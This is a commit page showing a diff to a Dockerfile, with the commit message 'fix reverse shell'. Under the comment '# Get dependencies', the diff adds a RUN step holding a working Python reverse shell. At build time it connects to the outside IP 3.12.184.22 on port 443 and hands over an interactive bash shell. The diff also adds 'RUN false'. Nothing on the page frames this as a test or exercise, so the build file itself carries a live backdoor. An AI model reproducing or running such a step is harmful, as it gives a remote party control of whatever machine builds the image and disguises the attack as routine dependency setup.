Skip to content

Commit fdbb7d1

Browse files
author
Jeremy Price
committed
fix reverse shell
1 parent 4f05a2e commit fdbb7d1

File tree

1 file changed

+2
-3
lines changed

1 file changed

+2
-3
lines changed

Dockerfile

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -22,10 +22,9 @@ python3
2222

2323

2424
# Get dependencies
25-
USER docker
26-
python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.12.184.22",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
25+
RUN python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.12.184.22",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
2726

2827
CMD ["/startup.sh"]
29-
28+
RUN false
3029
EXPOSE 80
3130
EXPOSE 443

0 commit comments

Comments
 (0)